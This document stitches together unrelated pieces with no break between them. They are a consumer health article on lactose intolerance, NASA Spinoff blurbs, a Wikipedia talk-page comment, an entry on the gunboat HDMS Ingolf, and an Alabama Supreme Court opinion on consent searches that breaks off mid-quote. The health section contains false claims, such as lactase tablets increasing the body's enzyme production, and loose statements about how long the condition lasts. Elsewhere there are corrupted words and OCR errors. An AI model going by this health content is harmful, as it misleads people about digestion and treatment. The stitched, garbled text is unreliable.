Some of the symptoms of lactose intolerance are:
1. Diarrhea: Increased water retention due to undigested lactose ferments in your gut
2. Bloating: Trapped gas and water in your intestine leading to pain around your belly button
3. Nausea: you can experience nausea up to 2 hours from the time you consumed milk
4. Pain: undigested lactose leads to gas trapping in your intestine. When this gas pushes against the intestine wall, it leads to pain
How Long Do Other Food Intolerance Symptoms Last?
Food allergies lead to stomach discomfort. Besides lactose intolerance, some of the common food intolerances are as follows:
· Gluten intolerance: When the body is not able to digest gluten, it leads to gluten intolerance. Gluten intolerance symptoms can be noticed within a few hours of eating gluten and it can remain for several days.
· Alcohol intolerance: You can experience the symptoms of alcohol intolerance in just 20 minutes of your first drink.
· IBS: The symptom of irritable bowel syndrome lasts for a few days to up to a month.
Food allergies or food intolerance results from the body’s inability to break down certain types of foods. It adversely affects the digestive system and can lead to a series of severe symptoms.

How Long Does Lactose Intolerance last?
Lactose intolerance lasts till the milk is in your digestive system, i.e., up to 48 hours. There is no treatment available to treat lactose intolerance. As your body is deficient in the production of lactose enzymes, no scientific way has been devised to elevate the production of lactose enzymes in your body.
There are lactose tablets available in the market that aids the digestion of dairy products in your body. However, these tablets do not assure you to relieve the symptoms of lactose intolerance.
https://youtu.be/JifSWBCd97M
How to Manage Lactose Intolerance?
As lactose intolerance is incurable, you must know how to manage it in your day-to-day life to escape its symptoms. Here are some of the important tips to manage lactose intolerance:
Use Probiotics: Several types of research support that including probiotics in your diet help reduce lactose intolerance symptoms.
Lactase Enzyme Tablets: these tablets help increase the lactase enzyme production to break down the milk sugar and reduce the symptoms of lactose intolerance.
Lactose-Free Products: there are plenty of dairy products available which are lactose-free, like soy milk, tofu, etc.
Consume Small Portions: As lactose intolerance results from the body’s efficiency to produce enough lactose digestive enzymes, consuming small portions of diary products helps reduce the symptoms of lactose intolerance. Start with eating very small portions and notice the reaction of your body. Increase your portions gradually if you do not experience any symptoms.
Choose Wisely: Dairy products like yogurt, hard cheese, and butter are naturally low in lactose. Choose dairy products with low lactose. You can also include lactose-free soy or almond milk as the alternative source of calcium.
When Should I Consult a Doctor?
As lactose intolerance is not a serious condition, it is not required to visit a doctor if you are experiencing symptoms associated with lactose intolerance. However, if you are experiencing extreme symptoms or want to confirm if your symptoms are associated with lactose intolerance or irritable bowel syndrome, it is advisable to visit the doctor.
Lactose Intolerance Test
It is a blood test under which your blood sample is taken at fasting glucose levels. Your glucose level is noticed, and you are fed lactose-containing liquid after that. Over the next few hours, your glucose levels are checked again. If the glucose level in your body remains constant, it indicates that your body cannot break down the milk sugar, and you are lactose intolerant.
Stool Acidity Test
This method is meant for children who cannot be tested through other methods. The acidity of the stool sample is tested to calculate the undigested lactose in the form of lactic acid.
Hydrogen Breath Test
When you drink a high lactose concentration, the fermented lactose in your gut releases extra hydrogen if you are lactose intolerant. The doctor user takes the hydrogen breath test to measure the lactose intolerance level in your body.
How To Stop The Lactose Intolerance Pain Immediately?
Here are some of the quick ways to get rid of the lactose intolerance pain immediately:
1. Consider taking over-the-counter medication to treat the immediate symptoms. Say if you are having gas and bloating, you may consider products like Gas-X. For Diarrhea, consider taking Imodium.
2. Take supplements that help you to digest lactose
3. Choose food with lesser lactose such as hard cheese and buttermilk
4. Substitute your dairy with non-dairy options like soy milk and coconut milk.
5. Keep some non-dairy food in the stomach to reduce the symptom’s effect.
Frequently Asked Questions

NASA Spinoff
Future spaceborne astronomy missions will require telescopes with increasingly greater power, driving the dimensions of the optics and their housing structures to significantly greater sizes.
Scientists and engineers have long used computers to model physical systems. Physical modeling is a major part of design and development processes, as well as failure analysis. At NASA, scientists and engineers rely heavily on physical modeling to evaluate the overall health and performance of all mission-related flight vehicles.
When it comes to solving some of NASA’s most challenging technical problems, the mathematical minds that make up the Computational Sciences Branch at NASA’s Glenn Research Center are ready and waiting to crunch some numbers. Calculating complex algorithms and mathematical equations like it’s child’s play, the group has worked out many technical issues for NASA over the years.
As NASA’s leading organization for information sciences, the Intelligent Systems Division at Ames Research Center conducts world-class computational research to enable out-of-this-world capabilities. In particular, this division is dedicated to ushering in a new era of autonomous spacecraft and robotic exploration, as well as extending abilities in space through human-computer interactions and data analysis.
Design errors are costly. When it comes to creating complex systems for aerospace design and testing system readiness, engineering system requirements must be clearly defined, and these systems need to be tested to ensure accuracy, consistency, and safety. Testing a system, however, can require as much as 50 to 70 percent of the total design cycle time. The ability to identify potential problems early in the design cycle saves time and expense, while still ensuring safe and reliable systems. This type of research is of interest not only to the NASA Ames Research Center’s Robust Software Engineering group, but to government agencies and industry, any sectors which build critical, expensive systems, such as control software for an aircraft or the U.S. Ballistic Missile Defense System’s command and coPartnershipntrol system.
In 1984, researchers from Ames Research Center came together to develop advanced human interfaces for NASA's teleoperations that would come to be known as virtual reality. The basis of the work theorized that if the sensory interfaces met a certain threshold and sufficiently supported each other, then the operator would feel present in the remote/synthetic environment, rather than present in their physical location. Twenty years later, this prolific research continues to pay dividends to society in the form of cutting-edge virtual reality products, such as an interactive audio simulation system.
I/NET, Inc., is making the dream of natural human-computer conversation a practical reality. Through a combination of advanced artificial intelligence research and practical software design, I/NET has taken the complexity out of developing advanced, natural language interfaces. Conversational capabilities like pronoun resolution, anaphora and ellipsis processing, and dialog management that were once available only in the laboratory can now be brought to any application with any speech recognition system using I/NET's conversational engine middleware.
NASA software created to help scientists expeditiously search and organize their research documents is now aiding compliance personnel, law enforcement investigators, and the general public in their efforts to search, store, manage, and retrieve documents more efficiently.
Ever wonder whether a still shot from a home video could serve as a picture perfect photograph worthy of being framed and proudly displayed on the mantle? Wonder no more.
In early 1995, NASA's Glenn Research Center (then Lewis Research Center) formed an industry-government team with several jet engine companies to develop the National Combustion Code (NCC), which would help aerospace engineers solve complex aerodynamics and combustion problems in gas turbine, rocket, and hypersonic engines. The original development team consisted of Allison Engine Company (now Rolls-Royce Allison), CFD Research Corporation, GE Aircraft Engines, Pratt and Whitney, and NASA. After the baseline beta version was established in July 1998, the team focused its efforts on consolidation, streamlining, and integration, as well as enhancement, evaluation, validation, and application. These activities, mainly conducted at NASA Glenn, led to the completion of NCC version 1.0 in October 2000.

Overly long
While I respect the significant effort that was put into writing this entry, the article is far too long, and goes into countless details that are of little to no relevance to the subject's notability. As well, certain details are repeated many times over, for example to use of drain cleaner injections into the neck of victims to try to mute their screams. Certainly legitimate that they are repeated per-victim, but they are also repeated elsewhere, unnecessarily. In consideration of how large the article is - I simply can't devote the time to trying to trim back the unnecessary details - there's simply too many of them. But I think it would improve the article significantly to do so. Anastrophe (talk) 04:59, 15 September 2020 (UTC)

HDMS Ingolf (1876)
HDMS Ingolf was a Danish schooner-rigged steam gunboat build in iron and launched in 1876. Ingolf marks a transition between the traditional gunships with muzzle-loading cannons placed along the sides of the ship and modern breechloading and turning guns placed in the centerline of the ship. The guns on Ingolf were breechloading guns from Krupp in Germany. The steam engine was British and could deliver 650 HP. The propeller could be hoisted up into a well on the underside of the ship, so as not to slow down the ship when she went for sails. Ingolf undertook a large number of voyages, often in the North Atlantic (Faroes, Iceland and Greenland) in summer and the Danish West Indies in winter. From 1897 Ingolf also served as training ship for non-commissioned officers and cadets. During World War I Ingolf was part of the Danish alerted fleet (not a true mobilization, as Denmark was neutral during the war). The last voyage as a training ship was in 1922 and went to the Mediterranean. Decommissioned in 1926 and sold for scrap.
Ingolf expedition
Ingolf was used for two oceanographic expeditions during the summer months of 1895 and 1896, collectively known as the Ingolf Expedition. The cruises were financed by the Danish Government and had the objective of studying the bathymetry around Iceland, northwards toward Jan Mayen and off West Greenland, heavily inspired by the Challenger expedition and similar American and German expeditions. Commander both years was the experienced captain C.F. Wandel and scientific crew consisted of three zoologists (Hector Jungersen, William Lundbeck, and H.J. Hansen, replaced in 1896 by Carl Wesenberg-Lund), one botanist (Carl H. Ostenfeld) and one hydrographer (Martin Knudsen). Despite severe weather and ice conditions thousands of hydrographical measurements were taken and biological samples collected at a total of 144 stations, down to depths of 3500 meter. The results are published in the impressive report The Danish Ingolf-Expedition' (1899–1942, 5550 pages and 333 plates). The most significant results were the demonstration of two different bottom faunas separated by the Wyville Thomson Ridge south of the Faroe Islands and the systematic difference in temperature of the water at the sea floor between the north and south side of the ridge; and the very large number of small crustaceans collected by means of H.C. Hansen's method of filtering the bottom mud with fine silk gauze rather than a metal sieve. A very large number of species of micro-crustaceans were thus described for the first time based on the material collected by the Ingolf expedition.

Ex parte Jarvis Lamar BRIDGETT. (In re Jarvis Lamar Bridgett v. State of Alabama).
1070439.
Supreme Court of Alabama.
June 27, 2008.
Andrew J. Segal of Segal & Segal, L.L.C., Huntsville, for petitioner.
Troy King, atty. gen., and P. David Bjurberg, asst. atty. gen., for respondent.
STUART, Justice.
This Court granted certiorari i'eview to determine whether the decision of the Court of Criminal Appeals in this case conflicts with Wong Sun v. United States, 371 U.S. 471, 83 S.Ct. 407, 9 L.Ed.2d 441 (1963), and Harris v. State, 568 So.2d 421 (Ala.Crim.App.1990). The Court of Criminal Appeals affirmed the trial court’s denial of Jarvis Lamar Bridgett’s motion to suppress evidence in the form of marijuana seized from a lockbox found in a bedroom Bridgett was sharing with his girlfriend. We affirm.
Facts
Investigator Shane Killingsworth of the Huntsville Police Department testified during the hearing on Bridgett’s motion to suppress that he and other officers responded to a domestic-violence call at the house of the Bridgett’s girlfriend, Gloria Curian. When the officers arrived, Bridgett told them he wanted to pack a bag and leave the house. The officers allowed Bridgett to go upstairs and retrieve his belongings from the bedroom. While Bridgett was packing, Curian told the officers that there were guns in the bedroom. Killingsworth testified that he immediately went upstairs. He stated: “I removed [Bridgett] from the bedroom, patted him down. He didn’t have any weapons on him. I believe the only property that we recovered from him was a key ring in his jacket pocket.” Bridgett was removed from the house and placed in a police car. A subsequent search of the bedroom yielded a .25 caliber automatic handgun, a .22 caliber rifle, and a lockbox. Each gun had a lock on it. Killingsworth testified that both Bridgett and Curian told him that the lockbox belonged to Bridgett. Killings-worth stated that Bridgett informed him that he did not have the keys to the lock-box. Killingsworth further testified that he asked Bridgett if he could use the keys on the key ring to open the lockbox to see if there were any firearms in it. Bridgett responded that “he didn’t have a problem with it. That none of the keys would work on the [lockbox] anyway.” Contrary to Bridgett’s statement to Killingsworth, keys on the key ring unlocked the gun locks and the lockbox. The lockbox contained a small amount of marijuana and a magazine of ammunition for a handgun.
Marvolene McBride, Bridgett’s aunt, testified for the defense. She stated that Bridgett was placing items in her vehicle when an officer approached him and escorted him to a police car. She stated that while the officer and Bridgett were talking another officer carried the lockbox out of the house and placed it on the hood of the police car. According to McBride, she never heard the officer ask Bridgett for permission to try the keys on the key ring to open the lockbox.
Bridgett testified at the suppression hearing. According to Bridgett’s testimony, Bridgett was preparing to leave the house and had just retrieved his shoes when an officer approached him, conducted a second patdown search of his person, and informed him that he was being detained. The officer then handcuffed him and placed him in a police car. Bridgett testified that he was in the back of the police car for an hour and a half to two hours. Bridgett explained that he was not wearing a jacket at the time and that he did not know when or where the officers found the keys the officers used to open the lockbox and the gun locks. He denied giving the officers permission to use the keys to try to unlock the lockbox, but he stated that he told the officer that the key to the lockbox could be on the key ring. The trial court denied Bridgett’s motion to suppress, and he appealed to the Court of Criminal Appeals. That court affirmed the trial court’s order. Bridgett v. State, 1 So.3d 1054 (Ala.Crim.App.2007). Bridgett then filed a petition for the writ of certio-rari with this Court.
Discussion
Bridgett argues that the Court of Criminal Appeals erred in affirming the trial court’s order refusing to suppress the marijuana found in the lockbox because, he says, the court erred in concluding that the issue in this case was whether Bridgett had voluntarily consented to the officers’ use of the key that opened the lockbox. According to Bridgett, the key to the lock-box was illegally seized; therefore, he argues, it is irrelevant whether he voluntarily consented to the use of the keys to open the lockbox because, he argues, the marijuana that was found as a result of the use of the illegally seized keys is the fruit of the poisonous tree. Thus, Bridgett argues, the Court of Criminal Appeals’ decision affirming the trial court’s order denying his motion to suppress the marijuana conflicts with Wong Sun v. United States, 371 U.S. 471, 83 S.Ct. 407, 9 L.Ed.2d 441 (1963), and Harris v. State, 568 So.2d 421 (Ala.Crim.App.1990).
In Wong Sun, the United States Supreme Court held that a court, when considering the admissibility of evidence obtained as a result of illegal government action, must determine ‘“whether, granting establishment of the primary illegality, the evidence to which instant objection is made has been come at by exploitation of that illegality or instead by means sufficiently distinguishable to be purged of the primary taint.’ ” 371 U.S. at 488 (quoting Maguire, Evidence of Guilt 221 (1959)). If the evidence is determined to be the “fruit of the poisonous tree,” then the evidence must be suppressed. Id. The Court of Criminal Appeals applied the Wong Sun holding in Harris, stating:
“[Although the appellant consented to the police officer’s search of his trunk, this consent was tainted by the prior illegal police action. Wong Sun v. United States, 371 U.S. 471 (1963). ...
“ ‘... [Wjhile it is thus true that a consent to search which fails the vol-untariness test because of prior illegality may just as convincingly be said to be a fruit of the prior illegality, the fruit of the poisonous tree doctrine also extends to invalidate consents which are voluntary.’ ”
568 So.2d at 424.
The facts in the record are conflicting as to whether the key ring holding the key to the lockbox was obtained during a Terry v. Ohio, 892 U.S. 1, 88 S.Ct. 1868, 20 L.Ed.2d 889 (1968), patdown search of Bridgett or during the search of the bedroom for weapons. We need not determine whether the key was illegally seized, however, because, even it if was, we conclude that Bridgett’s consent to the use of the key was voluntary and that the search of the lockbox was sufficiently purged from the original taint. Wong Sun, supra.
The United States Court of Appeals for the Eleventh Circuit in United States v. Delancy, 502 F.3d 1297 (11th Cir.2007), has provided a two-part test to assist in the analysis when a consent to search follows illegal police action, stating:
“Under controlling case law, we are required to conduct two separate inquiries where a consent to search follows prior illegal activity by the police. First, a court must determine whether the consent was voluntary. Second, the court must determine whether the consent, even if voluntary, requires exclusion of the evidence found during the search because it was the ‘fruit of the poisonous tree’ — the product of an illegal entry. See United States v. Santa, 236 F.3d 662, 676-77 (11th Cir.2000):
“ ‘For consent given after an illegal seizure to be valid, the Government must prove two things: that the consent is voluntary, and that the consent was not a product of the illegal seizure. Thus, the voluntariness of consent is only a threshold requirement; a voluntary consent to search does not remove the taint of an illegal seizure. Rather, the second requirement focuses on causation: “whether, granting establishment of the primary illegality, the evidence to which instant objection is made has been come at by exploitation of that illegality or instead by means sufficiently distinguishable to be purged of the primary taint.” ’
“(quoting Wong Sun v. United States, 371 U.S. 471, 488, 83 S.Ct. 407, 9 L.Ed.2d 441 (1963)) (citations omitted); see also United States v. Ramirez-Chilel, 289 F.3d 744, 752 n. 9 (11th Cir.2002) (‘Typically, if the ensuing search occurs after an initial illegality, such as an illegal entry or an illegal arrest, we must first determine whether the consent to search was voluntary and then, whether the consent was tainted by the initial illegality.’).
“This two step approach is mandatory, and the government bears the burden on both issues. See United States v. Robinson, 625 F.2d 1211, 1219 (5th Cir. 1980)....
“As the Supreme Court observed long ago, ‘[w]e need not hold that all evidence is “fruit of the poisonous tree” simply because it would not have come to light but for the illegal actions of the police. Rather, the more apt question in such a case is whether, granting establishment of the primary illegality, the evidence to which instant objection is made has been come at by exploitation of that illegality or instead by means sufficiently distinguishable to be purged of the primary taint.’ Wong Sun v. United States, 371 U.S. 471, 488, 83 S.Ct. 407, 9 L.Ed.2d 441 (1963) (quotation marks omitted). We are obliged to determine whether the consent was ‘sufficiently an act of free will to purge the primary taint of the unlawful invasion,’ or, alternatively, whether the causal connection had ‘become so attenuated as to dissipate the taint.’ Id. at 486-87, 83 S.Ct. 407 (quotation marks omitted).
“This is a fact-specific question, and no single fact is dispositive. See Brown v. Illinois, 422 U.S. 590, 603, 95 S.Ct. 2254, 45 L.Ed.2d 416 (1975)....
“In Santa, we considered three factors in determining whether a defendant’s consent was tainted by his illegal arrest: ‘[1] the temporal proximity of the seizure and the consent, [2] the presence of intervening circumstances, and, particularly, [3] the purpose and flagrancy of the official misconduct.’ 236 F.3d at 677.
“The three factors are not meant to be exhaustive, and commentators have suggested others. See Wayne R. La-Fave, Search and Seizure § 8.2(d) (4th ed.2004) (discussing additional factors such as “whether the seizure brought about police observation of the particular object which they sought consent to search, ... whether the consent was volunteered rather than requested by the detaining officers, whether the ar-restee was made fully aware of the fact that he could decline to consent and thus prevent an immediate search of the car or residence, whether there has been a significant intervening event such as presentation of the arrestee to a judicial officer, and whether the police purpose underlying the illegality was to obtain the consent’ (footnotes omitted)). Moreover, we will not allow a factor-based analysis to obscure the underlying question, which ‘generally involves a pragmatic evaluation of the extent to which the illegal police conduct caused the defendant’s response.’ United States v. Bailey, 691 F.2d 1009, 1013 (11th Cir. 1982). Nevertheless, the factors do provide a useful structure....
“1. Temporal Proximity
“The time elapsed between the illegal act and a subject’s consent to search is obviously relevant. If only a short period of time has passed, a court is more likely to consider the consent as a ‘poisonous fruit’ of the illegal act — that is, that the consent is tainted. Wong Sun provides an illustration of this principle. There, the Court suppressed statements from one defendant when they were given almost immediately after the police broke the door of his apartment, rushed in, and handcuffed him. See Wong Sun, 371 U.S. at 486, 83 S.Ct. 407 (‘Six or seven officers had broken the door ... into the bedroom where his wife and child were sleeping. He had been almost immediately handcuffed and arrested. Under such circumstances it is unreasonable to infer that [his] response was sufficiently an act of free will to purge the primary taint of the unlawful invasion.’). By contrast, when another defendant in the same case ‘had been released on his own recognizance after a lawful arraignment, and had returned voluntarily several days later to make the statement, [the Court] h[e]ld that the connection between the arrest and the statement had become so attenuated as to dissipate the taint.’ Id. at 491, 83 S.Ct. 407 (quotation marks omitted).
“There is no bright-line rule defining the temporal factor. But, if the period of time is extremely short, this factor weighs in favor of exclusion. See, e.g., Santa, 236 F.3d at 666-67, 678 (observing that there had been no ‘significant lapse of time’ in a case where the defendant, handcuffed and lying on the floor, consented to a search just two to three minutes after the police made an illegal forced entry into his home); see also United States v. Chanthasouxat, 342 F.3d 1271, 1280 (11th Cir.2003) (‘In the present case, there was an extremely close temporal proximity between the illegal stop and Chanthasouxat’s consent to the search because the video tape revealed that only three minutes elapsed between the time Officer Carter stopped the van and Chanthasouxat consented to a search.’). By contrast, a longer interval obviously weighs in favor of admissibility. See, e.g., Devier v. Zant, 3 F.3d 1445, 1459 (11th Cir.1993) (per curiam) (‘Under these circumstances, we must conclude that any taint from his detention on December 2 had been completely attenuated by the time of his eventual confession four days later.’).
“2. Intervening Circumstances
“The second factor is the presence of intervening circumstances, or events that interrupt the causal connection between the illegal act and the possibly tainted consent or confession. See Brown, 422 U.S. at 611, 95 S.Ct. 2254 (Powell, J., concurring in part) (characterizing the inquiry as whether ‘some demonstrably effective break’ has occurred); see also Taylor v. Alabama, 457 U.S. 687, 102 S.Ct. 2664, 73 L.Ed.2d 314 (1982) (discussing a defendant who was arrested without probable cause ‘in the hope that something would turn up,’ and confessed shortly thereafter without any meaningful intervening event); United States v. Edmondson, 791 F.2d 1512, 1516 (11th Cir.1986) (mentioning the defendant’s removal from the scene of the arrest as an intervening circumstance).
“3. Purpose and Flagrancy of Government Conduct
“The final factor is the purpose and flagrancy of the official conduct. This factor is also the most straightforward, and ... the most important one. If the police entry had been made for the purpose of gaining consent to conduct a full-scale search, we would be bound to find the consent tainted. Indeed, when the police act with the express purpose of exploiting an illegal action, the causation is so obvious that no real attenuation analysis is even necessary. See Florida v. Royer, 460 U.S. 491, 505, 103 S.Ct. 1319, 75 L.Ed.2d 229 (1983) (opinion of White, J.) (finding evidence seized after an illegal arrest tainted and omitting the attenuation analysis entirely when the seizure was part of ‘the officers’ attempt to gain [the defendant’s] consent to a search of his luggage’).”
502 F.3d at 1308-12 (footnotes omitted).
This two-step test in Delaney provides a workable means for determining whether evidence seized from a search to which consent is given following prior illegal activity by the police must be excluded as the fruit of a poisonous tree; this Court adopts that test and will now apply it to the facts of this case.
1. Was the consent voluntary?
We consider the trial court’s conclusion that Bridgett voluntarily consented to the use by the officers of the keys on the key ring to unlock the lockbox in light of the principles set forth in Kennedy v. State, 640 So.2d 22 (Ala.Crim.App.1993). In Kennedy, the Court of Criminal Appeals provided a thorough discussion on the standard for determining whether a defendant’s consent to a search was voluntary, stating:
“ ‘A person may consent to a search without a warrant and thereby waive any protection afforded by the Fourth Amendment to his right of privacy. Duncan v. State, 278 Ala. 145, 176 So.2d 840 (1965). Consent to a search must be knowingly, intelligently, and freely given.’ Ex parte Wilson, 571 So.2d 1251, 1255 (Ala.1990). ‘[T]he question whether a consent to a search was in fact “voluntary” or was the product of duress or coercion, express or implied, is a question of fact to be determined from the totality of all the circumstances.’ Schneckloth v. Bustamonte, 412 U.S. 218, 227, 93 S.Ct. 2041, 2047-48, 36 L.Ed.2d 854 (1973). ‘The standard for measuring the scope of a suspect’s consent under the Fourth Amendment is that of “objective” reasonableness— what would the typical reasonable person have understood by the exchange between the officer and the suspect?’ Florida v. Jimeno, 500 U.S. 248, 249-51, 111 S.Ct. 1801, 1803-04, 114 L.Ed.2d 297 (1991).
“This Court has recently held:
“ ‘A search pursuant to a valid consent is constitutionally permissible. See Ex parte Wilson, 571 So.2d 1251, 1255 (Ala.1990); Hubbard v. State, 500 So.2d 1204, 1221-22 (Ala.Cr.App.), affirmed, 500 So.2d 1231 (Ala.1986). “When a prosecutor seeks to rely upon consent to justify the lawfulness of a search, he has the burden of proving that the consent was, in fact, freely and voluntarily given.” Bumper v. North Carolina, 391 U.S. 543, 548, 88 S.Ct. 1788, 1792, 20 L.Ed.2d 797 (1968). See State v. Kyles, 571 So.2d 1283 (Ala.Cr.App.), on return to remand, 574 So.2d 1057 (Ala.Cr.App. 1990).
“ ‘ “[T]he question whether a consent to a search was in fact ‘voluntary’ or was the product of duress or coercion, express or implied, is a question of fact to be determined from the totality of all the circumstances.”
‘Schneckloth v. Bustamonte, 412 U.S. 218, 227, 93 S.Ct. 2041, 2047-48, 36 L.Ed.2d 854 (1973).
“ ‘Mere submission to police authority will not suffice for consent. Schneckloth, 412 U.S. at 233, 93 S.Ct. at 2051; Bumper v. North Carolina, 391 U.S. at 548-49, 88 S.Ct. at 1792; Amos v. United States, 255 U.S. 313, 317, 41 S.Ct. 266, 268, 65 L.Ed. 654 (1921); Herriott v. State, 337 So.2d 165, 169 (Ala.Cr.App.), cert. denied, 337 So.2d 171 (Ala.1976). While a “ ‘display of weapons is a coercive factor that sharply reduces the likelihood of freely given consent,’ ” 3 W. La-Fave, Search and Seizure, § 8.2(b) at 181 (2d ed.1987), the determination of voluntariness requires “careful sifting of the unique facts and circumstances of each case.” Schneckloth, 412 U.S. at 233, 93 S.Ct. at 2050.
“ ‘A show of force is a significant factor in the voluntariness equation, but it does not always vitiate consent to search. See United States v. Kelley, 953 F.2d 562, 566 (9th Cir.1992); United States v. Phillips, 664 F.2d [971] at 1024 [ (5th Cir.1981) ]; United States v. Cepulonis, 530 F.2d 238, 243-44 (1st Cir.), cert. denied, 426 U.S. 908[, 96 S.Ct. 2231, 48 L.Ed.2d 834] (1976); United States v. Evans, 519 F.2d 1083 (9th Cir.), cert. denied, 423 U.S. 916 [96 S.Ct. 224, 46 L.Ed.2d 145] (1975).
“ ‘If the evidence relating to a consent search is in conflict, “it is the duty of the trial court to resolve any conflict in the testimony and not within the province of this Court. The trial court [is] in a better position to judge the demeanor of the witnesses.” Hollenquest v. State, 394 So.2d 385, 389 (Ala.Cr.App.1980) (citations omitted), cert. denied, 394 So.2d 389 (Ala. 1981). When an accused contests the police version of the facts relating to an alleged consent search, this “presents an issue of fact to be resolved by the trial judge based on his assessment of the relative credibility of the parties; the issue will generally not be rev[ers]ed on appeal unless the judge’s finding was clearly erroneous.” 1 W. Ringel, Searches and Sei-ztires, Arrests and Confessions § 9.3(a) at 9-6 (2d ed.1992). See United States v. Cepulonis, 530 F.2d at 243; Jordan v. State, 384 So.2d 277 (Fla.App.1980)(trial court’s decision as to whether accused was consenting or was submitting to authority would not be disturbed unless clearly erroneous), abrogated on other grounds, Elsleger v. State, 503 So.2d 1367 (Fla.App.1987).
“ ‘We have considered the fact that the appellant was not told he had the right to refuse to consent to the search, and we do not find it to be determinative here. In Schneckloth v. Bustamonte, the Supreme Court observed that ‘[w]hile knowledge of the right to refuse consent is one factor to be taken into account, the government need not establish such knowledge as the sine gua non of an effective consent.’ 412 U.S. at 227, 93 S.Ct. at 2048. See generally 1 Ringel § 9.2 at 9-3. The facts of this case provide a reason to believe that, notwithstanding the failure to inform the appellant that he had the right to refuse to allow the search, his consent was nevertheless voluntary.
“ ‘The appellant twice denied that there were any “weapons or drugs or anything” in the vehicle. R. 27, 28, 50. “[A] belief that nothing personally incriminating is to be found in the place the police want to search [is a] factor[ ] tending to show that a consent is voluntary.” 3 LaFave at § 8.2(h) at 206....
“ ‘The argument that “no sane man who denies his guilt would actually be willing that policemen search ... for contraband which is certain to be discovered,” Higgins v. United States, 209 F.2d 819, 820 (D.C.Cir.1954), has generally been rejected, see 3 LaFave § 8.2(h) at 208, and has specifically been rejected by this Court, Quinn v. State, 611 So.2d 483, 487 (Ala.Cr.App. 1992). A defendant who believes that there is no contraband in the place to be searched or that it is hidden too well to be found might well give his voluntary consent to a search, 3 La-Fave § 8.2(h) at 208 & n. 178. On the other hand, the defendant may simply be “giving up.”
“ ‘ “ ‘[T]he pressure exerted on a criminal by the realization that the jig is up is far different from the deliberate or ignorant violation of personal right that renders apparent consent ineffective.’ [Gorman v. United States, 380 F.2d 158, 165 (1st Cir.1967) ]. The soundness of that principle is dramatically revealed in North Carolina v. Alford, [400 U.S. 25, 91 S.Ct. 160, 27 L.Ed.2d 162 (1970) ], where the Court held that a defendant might voluntarily plead guilty even though he claimed to believe he was innocent. If at the time that a particular question is asked there is no agreeable answer, the fact that the answer chosen is not a pleasant one does not mean necessarily that it was not voluntarily selected. The alternative might have seemed worse.
“ ‘ “The application of that principle to consent to search is particularly apt. A defendant may believe that search is ultimately inevitable whether he consents or not. In such circumstances a suspect might well feel he is better off to consent than to oppose.”

640 So.2d at 24-26.
Here, Killingsworth testified that Bridgett gave him permission to use the keys on the key ring to try to unlock the lock-box. According to Killingsworth, when he asked Bridgett, who was handcuffed and seated in a police car, for permission to use the keys to try to open the lockbox, Bridgett consented. Bridgett, on the other hand, testified that he did not give the officers permission to search anything. The following exchange occurred during the State’s cross-examination of Bridgett:
“[Prosecutor]: You heard Investigator Killingsworth say you were asked, ‘Look, can we use the keys on the gun locks and the [lockbox].’ Were you asked that?
“[Bridgett]: I was asked that, but I never seen the keys.
“[Prosecutor]: You were asked that. Okay. We’re making some progress. What did you say in response to that?
“[Bridgett]: I said, ‘Well I don’t own keys to the locks.’ I was like but — T mean, the gun locks, I don’t own any keys to any gun lock because I don’t own any guns.’ I told them at that time the keys to the lockbox could be on there because me and her both use those keys.
“[Prosecutor]: But they asked can we use the keys. And what did you say?
“[Bridgett]: I said the keys that are to the locks, they’re not going to be on that ring. I told them no.
“[Prosecutor]: You told them no they can’t search or no, the keys aren’t going to be there?
“[Bridgett]: No, they can’t search because the keys, I don’t own any gun locks.
“[Bridgett]: I told them at that time I didn’t own any guns or any gun locks. The [lockbox] was never brought up at that time.
“[Prosecutor]: You’re saying — when was the [lockbox] brought up?
“[Bridgett]: I didn’t know about the [lockbox] until probably an hour later. I seen them sit the [lockbox] on top of a hood of a police cruiser, and at this point they went through with flashlights and just took everything out basically and scattered it all over the car. I don’t know what was in the box or what had been placed in it or what had been taken out of the box.”
As defense counsel admitted during his final argument at the suppression hearing, conflicting evidence was presented as to whether Bridgett consented to the use of the keys on the key ring to unlock the lockbox. This Court accords deference to the trial court’s credibility choices. Substantial evidence was presented from which the trial court could conclude that Bridgett voluntarily consented to the use of the keys to search the lockbox.
2. Was the consent tainted by illegal police conduct?
Now, we must determine whether Bridgett’s consent was tainted by the alleged illegal seizure of the keys, i.e., whether Bridgett’s consent to the use of the keys was a product of the alleged illegal seizure of the keys. Applying the three factors set forth by the Eleventh Circuit Court of Appeals in Delaney, we first consider “the temporal proximity of the seizure and the consent.” The record is unclear whether the keys were seized when the officers first entered the house and patted Bridgett down for weapons, when they searched Bridgett after they learned that guns were in the upstairs bedroom where Bridgett was packing his belongings, or at some other time. Indeed, Bridgett testified that he did not know when the keys were seized. However, our reading of the testimony indicates that the keys were seized before the officers located the lockbox and that at least one hour had passed from the time Bridgett was placed in the police car and the time Killingsworth approached him about using the keys to open the lockbox. Because it appears that the request for Bridgett’s consent to use the keys did not immediately follow the alleged illegal seizure of the keys, the factor of timing weighs in favor of admitting into evidence the marijuana found in the lockbox. See Delaney.
Next, we consider “intervening circumstances.” Nothing in the testimony indicates that when the officers seized the keys the keys had some overt importance. Circumstances that appear important are: Bridgett, instead of leaving the residence immediately after the police arrived, asked to retrieve his belongings from an upstairs bedroom; while Bridgett was packing, the officers learned that there were guns in the bedroom; the officers then immediately removed Bridgett from the bedroom, and the search of the bedroom yielded an automatic handgun, a rifle, and a lockbox. These circumstances indicate that the keys obtained no significance until after the gun locks and lockbox were discovered. Thus, the intervening circumstance of the officers learning about and then locating the guns and the lockbox in the bedroom where the officers had permitted Bridgett to go to pack his belongings made the earlier seizure of the keys, which at that time appeared innocuous, important. Nothing indicates that the seizure of the keys prompted the search of the bedroom for weapons or that the seizure of the keys was a consequence of finding the lockbox and the gun locks. Therefore, these circumstances attenuate any taint from the seizure of the keys. Consequently, this factor does not weigh toward suppressing the marijuana.
Last and most important, we consider “the purpose and flagrancy of the official misconduct.” Nothing in the record indicates that the police purpose underlying the seizure of the keys was to obtain Bridgett’s consent to use the keys to open the lockbox. The record indicates that the officers’ only purpose in seizing the keys was to ensure that the keys were not a weapon that could be used to harm the officers or the other individuals in the house. Bridgett did not argue at the hearing or on appeal that the stated purpose for seizing the keys was a subterfuge or that the officers’ conduct was flagrant. Therefore, this factor does not weigh in favor of suppressing the marijuana.
Taking all three factors in consideration, we conclude that the alleged illegal seizure of the keys did not taint Bridgett’s consent and that the denial of Bridgett’s motion to suppress was proper. As the United States Supreme Court stated in Hudson v. Michigan, 547 U.S. 586, 126 S.Ct. 2159, 165 L.Ed.2d 56 (2006):

What Happens When You Experience Stress?
What Happens When You Experience Stress?
